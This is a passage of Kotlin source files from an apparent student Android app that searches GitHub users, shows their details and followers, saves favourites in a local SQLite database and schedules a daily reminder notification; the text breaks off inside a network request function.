// R.string.following
// )
// const val EXTRA_DETAIL = "extra_detail"
// const val EXTRA_FAV = "extra_data"
// const val EXTRA_NOTE = "extra_note"
// const val EXTRA_POSITION = "extra_position"
//
// const val EXTRA_PHOTO = "extra_photo"
// const val EXTRA_USERNAME = "extra_username"
// const val EXTRA_TYPE = "extra_type"
// }
//
//
// override fun onCreate(savedInstanceState: Bundle?) {
// super.onCreate(savedInstanceState)
// _binding = ActivityDetailBinding.inflate(layoutInflater)
// setContentView(binding?.root)
// supportActionBar?.title = "Detail"
//
//// favoriteHelper = FavoriteHelper.getInstance(this)
//// favoriteHelper.open()
//
//
//
// checkUserFavorite()
//
// detailViewModel = ViewModelProvider(
// this,
// ViewModelProvider.AndroidViewModelFactory(application)
// ).get(DetailViewModel::class.java)
//
// val user = intent.getParcelableExtra<UserData>(EXTRA_DETAIL) as UserData
// val username = user.username
//
// if (username != null) {
// detailViewModel.setUserDetail(username)
// }
//
// showLoading(true)
// usernameFav?.let { detailViewModel.setUserDetail(it) }
// detailViewModel.getUserDetail().observe(this, {
// if (it != null) {
// binding?.apply {
// detailName.text = it.name
// detailUsername.text = it.username
// detailLocation.text = it.userLocation
// detailRepository.text = it.publicRepos.toString()
//
//
// Glide.with(this@DetailActivity)
// .load(it.photoUrl)
// .into(detailPhoto)
//
// showLoading(false)
// btnFavorite.setOnClickListener(this@DetailActivity)
// }
// }
// })
//
// val sectionsPagerAdapter = DetailSectionPagerAdapter(this)
// val viewPager: ViewPager2 = findViewById(R.id.view_pager)
// viewPager.adapter = sectionsPagerAdapter
// val tabs: TabLayout = findViewById(R.id.tab)
// TabLayoutMediator(tabs, viewPager) { tab, position ->
// tab.text = resources.getString(TAB_TITLES[position])
// }.attach()
// }
//
// private fun getSelecterUser() {
//// val user = intent.getParcelableExtra<UserData>(EXTRA_FAV) as FavoriteData
//// val userFavorite = user.username
////
//// if (userFavorite != null) {
//// image = userFavorite.get(EXTRA_PHOTO).toString()
//// usernameFav = userFavorite.get(EXTRA_USERNAME).toString()
//// }
//
// if (this !=null)
// image = this?.get(EXTRA_PHOTO).toString()
// usernameFav= this.getString(EXTRA_USERNAME)
// }
//
// private fun showLoading(state: Boolean) {
// if (state)binding?.progressCircular?.visibility = View.VISIBLE
// else binding?.progressCircular?.visibility= View.GONE
// }
//
// private fun checkUserFavorite() {
// favoriteHelper = FavoriteHelper.getInstance(this)
// if (favoriteHelper.checkId(usernameFav)) {
// isFavorite = true
// setStatusFavorite(isFavorite)
// }
//
// }
//
// private fun addUserFavorite () {
// val values = ContentValues().apply {
// put(DatabaseFavorite.FavColumns.USERNAME, usernameFav)
// put(DatabaseFavorite.FavColumns.NAME, detailViewModel.getUserDetail().value?.name)
// put(DatabaseFavorite.FavColumns.USER_LOCATION, detailViewModel.getUserDetail().value?.userLocation)
// put(DatabaseFavorite.FavColumns.PUBLIC_REPOS, detailViewModel.getUserDetail().value?.publicRepos)
// put(DatabaseFavorite.FavColumns.PHOTO_URL, image)
// }
// this.contentResolver.insert(CONTENT_URI, values)
// Toast.makeText(this, "$usernameFav ${getString(R.string.add_favorite)}", Toast.LENGTH_SHORT).show()
// }
//
// private fun deletUserFavorite() {
// favoriteHelper = FavoriteHelper.getInstance(this)
// favoriteHelper.open()
// if(favoriteHelper.checkId(usernameFav)) favoriteHelper.deleteById(usernameFav)
// Toast.makeText(this, "$usernameFav ${getString(R.string.delet_favorite)}", Toast.LENGTH_SHORT).show()
// }
//
// override fun onClick(v: View?) {
// when (v?.id) {
// R.id.btn_favorite -> {
// if (!isFavorite) {
// addUserFavorite()
// isFavorite = !isFavorite
// setStatusFavorite(isFavorite)
// checkUserFavorite()
// } else {
// deletUserFavorite()
// setStatusFavorite(!isFavorite)
// isFavorite = false
// checkUserFavorite()
// }
// }
//
// }
// }
//
// private fun setStatusFavorite (statusFavorite: Boolean) {
// if (statusFavorite) binding?.btnFavorite?.setImageResource(R.drawable.ic_baseline_favorite_24)
// else binding?.btnFavorite?.setImageResource(R.drawable.ic_baseline_favorite_border_24)
// }
//
// override fun onDestroy() {
// super.onDestroy()
// favoriteHelper.close()
// }
//}
//
//}
class DetailActivity : AppCompatActivity(), View.OnClickListener {
private var _binding: ActivityDetailBinding? = null
private val binding get() = _binding
private lateinit var detailViewModel: DetailViewModel
private lateinit var favoriteViewModel: FavoriteViewModel
private lateinit var image : String
private lateinit var usernameFav : String
private lateinit var userType : String
private lateinit var uriwithid: Uri
private var isFavorite = false
private var favoriteData: FavoriteData? = null
private lateinit var favoriteHelper: FavoriteHelper
private lateinit var imgPhoto: String
companion object {
@StringRes
private val TAB_TITLES = intArrayOf(
R.string.follower,
R.string.following
)
const val EXTRA_DETAIL = "extra_detail"
const val EXTRA_FAV = "extra_data"
const val EXTRA_NOTE = "extra_note"
const val EXTRA_POSITION = "extra_position"
const val REQUEST_UPDATE = 200
const val EXTRA_PHOTO = "extra_photo"
const val EXTRA_USERNAME = "extra_username"
const val EXTRA_TYPE = "extra_type"
}
@SuppressLint("SetText18n")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
_binding = ActivityDetailBinding.inflate(layoutInflater)
setContentView(binding?.root)
supportActionBar?.title = "Detail"
detailViewModel = ViewModelProvider(
this,
ViewModelProvider.AndroidViewModelFactory(application)
).get(DetailViewModel::class.java)
favoriteViewModel = ViewModelProvider (this, ViewModelProvider.AndroidViewModelFactory(application)).get(FavoriteViewModel::class.java)
// detailViewModel.getUserDetail().observe(this, {
// if (it != null) {
// binding?.apply {
// detailName.text = it.name
// detailUsername.text = it.username
// detailLocation.text = it.userLocation
// detailRepository.text = it.publicRepos.toString()
//
// Glide.with(this@DetailActivity)
// .load(it.photoUrl)
// .into(detailPhoto)
// imgPhoto = it.photoUrl.toString()
//
// showLoading(false)
// binding?.btnFavorite?.setOnClickListener (this@DetailActivity)
// if (it != null) {
// favoriteData = FavoriteData(
// it.username,
// it.name,
// it.userLocation,
// it.photoUrl,
// it.publicRepos,
// it.followers.toString(),
// it.following.toString()
// )
// }
// isFavorite = true
// }
// }
// })
// val user = intent.getParcelableExtra<UserData>(EXTRA_DETAIL) as UserData
// usernameFav = user.username!!
//
// if (usernameFav != null) {
// detailViewModel.setUserDetail(usernameFav)
// }
favoriteHelper = FavoriteHelper.getInstance(applicationContext)
favoriteHelper.open()
favoriteData = intent.getParcelableExtra(EXTRA_NOTE)
if (favoriteData != null) {
setDataObject()
isFavorite = true
val checked: Int = R.drawable.ic_baseline_favorite_24
binding?.btnFavorite?.setImageResource(checked)
} else {
setData()
}
val sectionsPagerAdapter = DetailSectionPagerAdapter(this)
val viewPager: ViewPager2 = findViewById(R.id.view_pager)
viewPager.adapter = sectionsPagerAdapter
val tabs: TabLayout = findViewById(R.id.tab)
TabLayoutMediator(tabs, viewPager) { tab, position ->
tab.text = resources.getString(TAB_TITLES[position])
}.attach()
binding?.btnFavorite?.setOnClickListener (this)
showLoading(true)
checkUserFavorite()
// uriwithid = Uri.parse(CONTENT_URI.toString() + "/" + favoriteData?.id)
//
// val cursor = contentResolver.query(uriwithid, null, null, null, null)
// if (cursor != null) {
// favoriteData = MappingHelper.mapCursorToObject(cursor)
// cursor.close()
// }
}
@SuppressLint("SetTextI18n", "StringFormatInvalid")
private fun setData() {
val user = intent.getParcelableExtra<UserData>(EXTRA_DETAIL) as UserData
val username = user.username
if (username != null) {
detailViewModel.setUserDetail(username )
}
detailViewModel.getUserDetail().observe(this, {
if (it != null) {
binding?.apply {
detailName.text = it.name
detailUsername.text = it.username
detailLocation.text = it.userLocation
detailRepository.text = it.publicRepos.toString()
Glide.with(this@DetailActivity)
.load(it.photoUrl)
.into(detailPhoto)
imgPhoto = it.photoUrl.toString()
showLoading(false)
}
}
})
}
@SuppressLint("SetTextI18n")
private fun setDataObject() {
val favoriteUser = intent.getParcelableExtra<FavoriteData>(EXTRA_NOTE) as FavoriteData
val username = favoriteUser.username
if (username != null) {
favoriteViewModel.setUserFavorite(username)
}
favoriteViewModel.getUserFavorite().observe(this, {
if (it != null) {
binding?.apply {
detailName.text = it.name
detailUsername.text = it.username.toString()
detailLocation.text = it.userLocation
detailRepository.text = it.publicRepos.toString()
Glide.with(this@DetailActivity)
.load(it.photoUrl)
.into(detailPhoto)
imgPhoto = it.photoUrl.toString()
showLoading(false)
}
}
})
}
private fun showLoading(state: Boolean) {
if (state)binding?.progressCircular?.visibility = View.VISIBLE
else binding?.progressCircular?.visibility= View.GONE
}
override fun onClick(v: View?) {
val checked: Int = R.drawable.ic_baseline_favorite_24
val unChecked: Int = R.drawable.ic_baseline_favorite_border_24
if (v?.id == R.id.btn_favorite) {
if (isFavorite) {
// usernameFav.let { detailViewModel.setUserDetail(it) }
// if (favoriteHelper.checkId(favoriteData?.username.toString()))
favoriteHelper.deleteById(favoriteData?.username.toString())
// contentResolver.delete(uriwithid, null, null)
Toast.makeText(this, getString(R.string.delet_favorite), Toast.LENGTH_SHORT).show()
binding?.btnFavorite?.setImageResource(unChecked)
isFavorite = false
checkUserFavorite()
} else {
val dataUsername = binding?.detailUsername?.text.toString()
val dataName = binding?.detailName?.text.toString()
val dataPhoto = imgPhoto
val dataLocation = binding?.detailLocation?.text.toString()
val dataRepository = binding?.detailRepository?.text.toString()
val dataFavorite = "1"
val values = ContentValues()
values.put(USERNAME, dataUsername)
values.put(NAME, dataName)
values.put(PHOTO_URL, dataPhoto)
values.put(USER_LOCATION, dataLocation)
values.put(PUBLIC_REPOS, dataRepository)
values.put(FAVORITE, dataFavorite)
isFavorite = true
contentResolver.insert(CONTENT_URI, values)
Toast.makeText(this, getString(R.string.add_favorite), Toast.LENGTH_SHORT).show()
binding?.btnFavorite?.setImageResource(checked)
checkUserFavorite()
}
}
}
private fun checkUserFavorite() {
favoriteHelper = FavoriteHelper.getInstance(applicationContext)
if (favoriteHelper.checkId(favoriteData?.username.toString())) {
isFavorite = true
val checked: Int = R.drawable.ic_baseline_favorite_24
binding?.btnFavorite?.setImageResource(checked)
}
}
private fun setStatusFavorite (statusFavorite: Boolean) {
if (statusFavorite) binding?.btnFavorite?.setImageResource(R.drawable.ic_baseline_favorite_24)
else binding?.btnFavorite?.setImageResource(R.drawable.ic_baseline_favorite_border_24)
}
override fun onDestroy() {
super.onDestroy()
favoriteHelper.close()
}
}
<file_sep>/app/src/main/java/com/example/mysubmission2/data/UserData.kt
package com.example.mysubmission2.data
import android.os.Parcelable
import kotlinx.parcelize.Parcelize
@Parcelize
class UserData (
var username: String? = null,
var type: String? = null,
var photoUrl: String? = null,
var favorite: String? = null
) :Parcelable
<file_sep>/app/src/main/java/com/example/mysubmission2/AlaramReceiver.kt
package com.example.mysubmission2
import android.app.AlarmManager
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.os.Build
import android.widget.Toast
import androidx.core.app.NotificationCompat
import com.example.mysubmission2.ui.MainActivity
import java.util.*
class AlaramReceiver: BroadcastReceiver() {
companion object {
const val DAILY_REMINDER = "Daily_Reminder"
const val EXTRA_MESSAGE = "Extra_Message"
const val EXTRA_TYPE = "Extra_Type"
private const val DAILY_ID = 100
private const val TIME_DAILY = "09.00"
}
override fun onReceive(context: Context?, intent: Intent?) {
val intent = intent?.getStringExtra(EXTRA_MESSAGE)
alaramNotification(context, intent)
}
fun setDailyAlarm (context: Context?, type: String, message: String?) {
val alarmManager = context?.getSystemService(Context.ALARM_SERVICE) as AlarmManager
val intent = Intent (context, AlaramReceiver::class.java)
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
intent.putExtra(EXTRA_MESSAGE, message)
intent.putExtra(EXTRA_TYPE, type)
val timeArray = TIME_DAILY.split(":".toRegex()).dropLastWhile{it.isEmpty()}.toTypedArray()
val calendar = Calendar.getInstance()
calendar.set(Calendar.HOUR_OF_DAY, Integer.parseInt(timeArray[0]))
calendar.set(Calendar.MINUTE, Integer.parseInt(timeArray[1]))
calendar.set(Calendar.SECOND, 0)
val pendingIntent = PendingIntent.getBroadcast(context, DAILY_ID, intent, PendingIntent.FLAG_ONE_SHOT)
alarmManager.setInexactRepeating( AlarmManager.RTC_WAKEUP, calendar.timeInMillis, AlarmManager.INTERVAL_DAY, pendingIntent)
Toast.makeText(context, "Daily Reminder is On", Toast.LENGTH_SHORT).show()
}
fun cancleAlarm(context: Context?) {
val alarmManager = context?.getSystemService(Context.ALARM_SERVICE) as AlarmManager
val intent = Intent (context, AlaramReceiver::class.java)
val requestCode = DAILY_ID
val pendingIntent = PendingIntent.getBroadcast(context, requestCode, intent, 0)
pendingIntent.cancel()
alarmManager.cancel(pendingIntent)
Toast.makeText(context, "Daily Reminder is Off", Toast.LENGTH_SHORT).show()
}
private fun alaramNotification(context: Context?, message: String?) {
val alamramId = "Alaram_ID"
val dailyNotificatin = "Daily_Notificatipn"
val intent = Intent(context, MainActivity::class.java)
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
val pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_ONE_SHOT)
val notificationManagerCompat = context?.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
val builder = NotificationCompat.Builder(context, alamramId)
.setSmallIcon(R.drawable.ic_baseline_access_alarm_24)
.setContentTitle("Daily Reminder")
.setContentText(message)
.setAutoCancel(true)
.setPriority(NotificationCompat.PRIORITY_DEFAULT)
.setContentIntent(pendingIntent)
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val alaram = NotificationChannel ( alamramId,dailyNotificatin, NotificationManager.IMPORTANCE_DEFAULT)
builder.setChannelId(alamramId)
notificationManagerCompat.createNotificationChannel(alaram)
}
val notification = builder.build()
notificationManagerCompat.notify(100, notification)
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/ui/MainActivity.kt
package com.example.mysubmission2.ui
import android.app.Activity
import android.app.SearchManager
import android.content.Context
import android.content.Intent
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.provider.Settings
import android.view.Menu
import android.view.MenuItem
import android.view.View
import android.view.inputmethod.InputMethodManager
import androidx.lifecycle.ViewModelProvider
import androidx.recyclerview.widget.LinearLayoutManager
import com.example.mysubmission2.NotificationActivity
import com.example.mysubmission2.R
import com.example.mysubmission2.adapter.RecyclerViewAdapter
import com.example.mysubmission2.data.UserData
import com.example.mysubmission2.databinding.ActivityMainBinding
import com.example.mysubmission2.viewmodel.MainViewModel
import com.example.mysubmission2.viewmodel.SearchViewModel
class MainActivity : AppCompatActivity() {
private var _binding: ActivityMainBinding? = null
private val binding get() = _binding!!
private lateinit var mainViewModel: MainViewModel
private lateinit var searchViewModel: SearchViewModel
private lateinit var adapter : RecyclerViewAdapter
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
_binding = ActivityMainBinding.inflate(layoutInflater)
setContentView(binding.root)
supportActionBar?.title = "User Search"
adapter = RecyclerViewAdapter()
adapter.notifyDataSetChanged()
mainViewModel = ViewModelProvider(
this, ViewModelProvider.AndroidViewModelFactory(application)
).get(MainViewModel::class.java)
mainViewModel.setUserMain()
mainViewModel.getUserMain().observe(this, { user ->
if (user != null) {
adapter.setUser(user)
showLoading(false)
}
})
searchViewModel = ViewModelProvider(this, ViewModelProvider.AndroidViewModelFactory(application))
.get(SearchViewModel::class.java)
showRecyclerView()
}
private fun showRecyclerView() {
binding.recycleView.layoutManager = LinearLayoutManager(this)
binding.recycleView.adapter = adapter
adapter.setOnItemClickCallBack(object: RecyclerViewAdapter.OnItemClickCallBack {
override fun onItemClicked(data: UserData) {
val intent = Intent(this@MainActivity, DetailActivity::class.java)
intent.putExtra(DetailActivity.EXTRA_DETAIL, data)
startActivity(intent)
}
})
}
override fun onCreateOptionsMenu(_menu: Menu): Boolean {
val inflater = menuInflater
inflater.inflate(R.menu.menu, _menu)
val searchManager = getSystemService(Context.SEARCH_SERVICE) as SearchManager
val searchView = _menu.findItem(R.id.search).actionView as androidx.appcompat.widget.SearchView
searchView.setSearchableInfo(searchManager.getSearchableInfo(componentName))
searchView.queryHint = resources.getString(R.string.search)
searchView.setOnQueryTextListener(object : androidx.appcompat.widget.SearchView.OnQueryTextListener {
override fun onQueryTextSubmit(query: String): Boolean {
query.let {
searchViewModel.setUserSearch(query)
showLoading(true)
searchViewModel.getUserSearch().observe(this@MainActivity, {
adapter.setUser(it)
showLoading(false)
})
}
val inputMethodManager = getSystemService(Activity.INPUT_METHOD_SERVICE) as InputMethodManager
inputMethodManager.hideSoftInputFromWindow(window.currentFocus?.windowToken,0)
return true
}
/*
Gunakan method ini untuk merespon tiap perubahan huruf pada searchView
*/
override fun onQueryTextChange(newText: String): Boolean {
return false
}
})
return true
}
private fun showLoading(state: Boolean) {
if (state)binding.progresBar.visibility = View.VISIBLE
else binding.progresBar.visibility=View.GONE
}
override fun onOptionsItemSelected(item: MenuItem): Boolean {
when (item.itemId) {
R.id.action_change_language -> {
val mIntent = Intent(Settings.ACTION_LOCALE_SETTINGS)
startActivity(mIntent)
}
R.id.action_favorite -> {
val mIntent = Intent(this, FavoriteActivity::class.java)
startActivity(mIntent)
}
R.id.action_set_reminder -> {
val mIntent = Intent(this, NotificationActivity::class.java)
startActivity(mIntent)
}
}
return super.onOptionsItemSelected(item)
}
override fun onDestroy() {
super.onDestroy()
_binding=null
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/database/DatabaseHelper.kt
package com.example.mysubmission2.database
import android.content.Context
import android.database.sqlite.SQLiteDatabase
import android.database.sqlite.SQLiteOpenHelper
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.TABLE_NAME
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion._ID
internal class DatabaseHelper (context: Context): SQLiteOpenHelper(context, DATABASE_NAME, null, DATABASE_VERSION) {
companion object {
private const val DATABASE_NAME = "dbfavoriteuser15"
private const val DATABASE_VERSION = 1
private const val SQL_CREAT_TABLE_FAVORITE = "CREATE TABLE $TABLE_NAME" +
"($_ID INTEGER PRIMARY KEY AUTOINCREMENT," +
// "(${USERNAME} TEXT UNIQUE NOT NULL," +
"${DatabaseFavorite.FavColumns.USERNAME} TEXT NOT NULL," +
"${DatabaseFavorite.FavColumns.NAME} TEXT NOT NULL," +
"${DatabaseFavorite.FavColumns.USER_LOCATION} TEXT NOT NULL," +
"${DatabaseFavorite.FavColumns.PHOTO_URL} TEXT NOT NULL," +
"${DatabaseFavorite.FavColumns.PUBLIC_REPOS} TEXT NOT NULL," +
"${DatabaseFavorite.FavColumns.FAVORITE} TEXT NOT NULL)"
}
override fun onCreate(db: SQLiteDatabase) {
db.execSQL(SQL_CREAT_TABLE_FAVORITE)
}
override fun onUpgrade (db: SQLiteDatabase, oldVersion: Int, newVersion: Int) {
db.execSQL("DROP TABLE IF EXISTS $TABLE_NAME")
onCreate(db)
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/ui/FollowersFragment.kt
package com.example.mysubmission2.ui
import android.annotation.SuppressLint
import android.content.Intent
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.fragment.app.Fragment
import androidx.lifecycle.ViewModelProvider
import androidx.recyclerview.widget.LinearLayoutManager
import com.example.mysubmission2.R
import com.example.mysubmission2.adapter.FavoriteAdapter
import com.example.mysubmission2.adapter.RecyclerViewAdapter
import com.example.mysubmission2.data.FavoriteData
import com.example.mysubmission2.data.UserData
import com.example.mysubmission2.data.UserDetail
import com.example.mysubmission2.databinding.FragmentFollowersBinding
import com.example.mysubmission2.viewmodel.FollowViewModel
class FollowersFragment : Fragment() {
private lateinit var followViewModel: FollowViewModel
private lateinit var adapter: RecyclerViewAdapter
private lateinit var adapter2: FavoriteAdapter
private lateinit var binding: FragmentFollowersBinding
private var favorites: FavoriteData? = null
private lateinit var dataFavorite: FavoriteData
private lateinit var data : UserDetail
companion object {
const val EXTRA_DETAIL = "extra_detail"
const val EXTRA_NOTE = "extra_note"
}
override fun onCreateView(inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?): View {
binding = FragmentFollowersBinding.inflate(layoutInflater, container, false)
return binding.root
}
@SuppressLint("UseRequireInsteadOfGet")
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
val userFollow = activity?.intent?.getParcelableExtra<UserData>(DetailActivity.EXTRA_DETAIL)
val tab = activity?.getString(R.string.followers_url)
adapter = RecyclerViewAdapter()
adapter.notifyDataSetChanged()
followViewModel = ViewModelProvider(this, ViewModelProvider.AndroidViewModelFactory(activity!!.application))
.get(FollowViewModel::class.java)
userFollow?.username?.let {
if (tab != null) {
followViewModel.setUserFollow(it, tab)
}
}
val favorite = activity?.intent?.getParcelableExtra<FavoriteData>(DetailActivity.EXTRA_NOTE)
favorite?.username?.let {
if (tab !=null) {
followViewModel.setUserFollow(it, tab)
}
}
// favorites = activity!!.intent.getParcelableExtra(DetailActivity.EXTRA_NOTE)
// if (favorites != null) {
// dataFavorite = (activity!!.intent.getParcelableExtra(EXTRA_NOTE) as FavoriteData?)!!
// followViewModel.getUserFollow()
// } else {
// dataFavorite = FavoriteData()
// }
showLoading(true)
followViewModel.getUserFollow().observe(viewLifecycleOwner, {
adapter.setUser(it)
showLoading(false)
})
showRecyclerView()
}
private fun showRecyclerView() {
binding.rvFollowers.layoutManager = LinearLayoutManager(activity)
binding.rvFollowers.adapter = adapter
adapter.setOnItemClickCallBack(object: RecyclerViewAdapter.OnItemClickCallBack {
override fun onItemClicked(data: UserData) {
val intent = Intent(activity, DetailActivity::class.java)
intent.putExtra(DetailActivity.EXTRA_DETAIL, data)
startActivity(intent)
}
})
}
private fun showLoading(state: Boolean) {
if (state)binding.progressCircular.visibility = View.VISIBLE
else binding.progressCircular.visibility=View.GONE
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/NotificationActivity.kt
package com.example.mysubmission2
import android.content.Context
import android.content.SharedPreferences
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.view.MenuItem
import com.example.mysubmission2.databinding.ActivityNotificationBinding
class NotificationActivity : AppCompatActivity() {
private var _binding: ActivityNotificationBinding? = null
// private val binding get() = _binding!!
private lateinit var alaramReceiver: AlaramReceiver
private lateinit var sharedPreferences: SharedPreferences
companion object {
const val SETTING_NOTIF ="SettingPref"
private const val DAILY ="Daily"
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_notification)
supportActionBar?.title = "Setting Notification"
alaramReceiver = AlaramReceiver()
sharedPreferences = getSharedPreferences(SETTING_NOTIF, Context.MODE_PRIVATE)
// set switch
_binding?.switchDaily?.isChecked = sharedPreferences.getBoolean(DAILY, false)
_binding?.switchDaily?.setOnCheckedChangeListener { _, isChecked ->
if (isChecked) {
alaramReceiver.setDailyAlarm(this, AlaramReceiver.DAILY_REMINDER, "Find new avorite user")
} else {
alaramReceiver.cancleAlarm(this)
}
saveChange(isChecked)
}
}
private fun saveChange(checked: Boolean) {
val editor = sharedPreferences.edit()
editor.putBoolean(DAILY, checked)
editor.apply()
}
override fun onOptionsItemSelected(item: MenuItem): Boolean {
if (item.itemId == android.R.id.home) finish()
return super.onOptionsItemSelected(item)
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/data/FavoriteData.kt
package com.example.mysubmission2.data
import android.os.Parcelable
import kotlinx.parcelize.Parcelize
@Parcelize
class FavoriteData(
val id: Int= 0,
var username: String? = null,
var name: String? = null,
var userLocation: String? = null,
var photoUrl: String? = null,
var publicRepos: String? = null,
var followers: String? = null,
var following: String? = null,
var favorite: String? = null
): Parcelable<file_sep>/app/src/main/java/com/example/mysubmission2/adapter/RecyclerViewAdapter.kt
package com.example.mysubmission2.adapter
import android.content.Context
import android.content.Intent
import android.view.LayoutInflater
import android.view.ViewGroup
import androidx.recyclerview.widget.RecyclerView
import com.bumptech.glide.Glide
import com.bumptech.glide.request.RequestOptions
import com.example.mysubmission2.data.UserData
import com.example.mysubmission2.databinding.UserListBinding
import com.example.mysubmission2.ui.DetailActivity
import kotlin.collections.ArrayList
lateinit var mcontext: Context
class RecyclerViewAdapter : RecyclerView.Adapter<RecyclerViewAdapter.ListViewHolder>() {
private lateinit var onItemClickCallBack: OnItemClickCallBack
private val listArrayUser = ArrayList<UserData>()
fun setUser (listUser:ArrayList<UserData>) {
listArrayUser.clear()
listArrayUser.addAll(listUser)
notifyDataSetChanged()
}
override fun onCreateViewHolder(viewGroup: ViewGroup, I: Int): ListViewHolder {
val binding = UserListBinding.inflate(LayoutInflater.from(viewGroup.context), viewGroup, false)
// mcontext = viewGroup.context
return ListViewHolder(binding)
}
override fun onBindViewHolder(holder: ListViewHolder, position: Int) {
holder.bind(listArrayUser[position])
// holder.itemView.setOnClickListener() {
//
//
// }
}
override fun getItemCount(): Int = listArrayUser.size
inner class ListViewHolder(private val binding: UserListBinding) : RecyclerView.ViewHolder(binding.root) {
fun bind(userData: UserData) {
with(binding) {
Glide.with(itemView.context)
.load(userData.photoUrl)
.apply(RequestOptions().override(80,80))
.into(imgPhoto)
tvItemUsername.text = userData.username
tvItemName.text = userData.type
itemView.setOnClickListener{
onItemClickCallBack.onItemClicked(userData)
// val intentDetail = Intent(mcontext, DetailActivity::class.java)
// intentDetail.putExtra(DetailActivity.EXTRA_DETAIL, userData)
// intentDetail.putExtra(DetailActivity.EXTRA_FAV, userData)
// mcontext.startActivity(intentDetail)
}
}
}
}
fun setOnItemClickCallBack(onItemClickCallBack:OnItemClickCallBack) {
this.onItemClickCallBack = onItemClickCallBack
}
interface OnItemClickCallBack {
fun onItemClicked(data: UserData)
}
}
<file_sep>/app/src/main/java/com/example/mysubmission2/database/FavoriteHelper.kt
package com.example.mysubmission2.database
import android.content.ContentValues
import android.content.Context
import android.database.Cursor
import android.database.sqlite.SQLiteDatabase
import android.util.Log
import com.example.mysubmission2.data.FavoriteData
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.TABLE_NAME
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion.USERNAME
import com.example.mysubmission2.database.DatabaseFavorite.FavColumns.Companion._ID
import java.sql.SQLException
class FavoriteHelper(context: Context) {
private var databaseHelper : DatabaseHelper = DatabaseHelper(context)
private var database: SQLiteDatabase = databaseHelper.writableDatabase
companion object {
private const val DATABASE_TABLE = TABLE_NAME
private var INSTANCE : FavoriteHelper? = null
fun getInstance(context: Context): FavoriteHelper =
INSTANCE?: synchronized(this) {
INSTANCE?: FavoriteHelper(context)
}
private val TAG = FavoriteHelper::class.java.simpleName
}
// Membuka koneksi ke database
@Throws(SQLException::class)
fun open() {
database = databaseHelper.writableDatabase
}
//Menutup koneksi ke database
fun close() {
databaseHelper.close()
if (database.isOpen)
database.close()
}
// Mengambil data di database
fun queryAll(): Cursor {
return database.query(
DATABASE_TABLE,
null,
null,
null,
null,
null,
"$_ID ASC"
)
}
// Mengambil data dengan id tertentu
fun queryById(id: String): Cursor {
return database.query(
DATABASE_TABLE,
null,
"$_ID =?",
arrayOf(id),
null,
null,
null,
null
)
}
// Metode untuk menyimpan data
fun insert (values: ContentValues?) : Long {
return database.insert(DATABASE_TABLE, null, values)
}
// Metode untuk memperbaharui data
fun update (id: String, values: ContentValues?): Int {
return database.update(DATABASE_TABLE, values, "$USERNAME = ?", arrayOf(id))
}
// Metode untuk menghapus data
fun deleteById (id: String) : Int {
return database.delete(DATABASE_TABLE, "$USERNAME = '$id'", null)
}
// fun getAllFavorite(): ArrayList<FavoriteData> {
// val arrayList = ArrayList<FavoriteData>()
// val cursor = database.query(DATABASE_TABLE, null, null, null, null, null, "$USERNAME ASC", null)
//
// cursor.moveToFirst()
// var favoriteData: FavoriteData
//
// if (cursor.count >0) {
// do {
// favoriteData = FavoriteData()
// favoriteData.username = cursor.getString(cursor.getColumnIndexOrThrow(USERNAME))
// // Ada tambahan
//
// arrayList.add(favoriteData)
// cursor.moveToFirst()
// } while (!cursor.isAfterLast)
// }
//
// cursor.close()
// return arrayList
// }
//
//// Check Id
fun checkId (id: String): Boolean {
val cursor = database.query(DATABASE_TABLE,
null,
"$USERNAME =?",
arrayOf(id), null, null, null)
var check = false
if(cursor.moveToFirst()) {
check = true
var cursorIndex = 0
while (cursor.moveToNext()) cursorIndex++
Log.d(TAG, "Username Found $cursorIndex")
}
cursor.close()
return check
}
}<file_sep>/app/src/main/java/com/example/mysubmission2/data/UserDetail.kt
package com.example.mysubmission2.data
import android.os.Parcelable
import kotlinx.parcelize.Parcelize
@Parcelize
data class UserDetail (
var username: String? = null,
var name: String? = null,
var userLocation: String? = null,
var photoUrl: String? = null,
var publicRepos: Int? = null,
var followers: Int? = null,
var following: Int? = null,
var favorite: String? = null
) : Parcelable<file_sep>/app/src/main/java/com/example/mysubmission2/viewmodel/MainViewModel.kt
package com.example.mysubmission2.viewmodel
import android.app.Application
import android.util.Log
import android.widget.Toast
import androidx.lifecycle.AndroidViewModel
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import com.example.mysubmission2.data.UserData
import com.loopj.android.http.AsyncHttpClient
import com.loopj.android.http.AsyncHttpResponseHandler
import cz.msebera.android.httpclient.Header
import org.json.JSONArray
import java.lang.Exception
class MainViewModel(application: Application) : AndroidViewModel(application) {
companion object {
private val TAG = MainViewModel::class.java.simpleName
}
val userDataMain = MutableLiveData<ArrayList<UserData>>()
fun setUserMain () {
val ListUser = ArrayList<UserData>()
val apiKey = "<KEY>"
val url = "https://api.github.com/users"
val client = AsyncHttpClient()
client.addHeader("Authorization", "token $apiKey")
client.addHeader("User-Agent", "request")
client.get(url, object : AsyncHttpResponseHandler() {
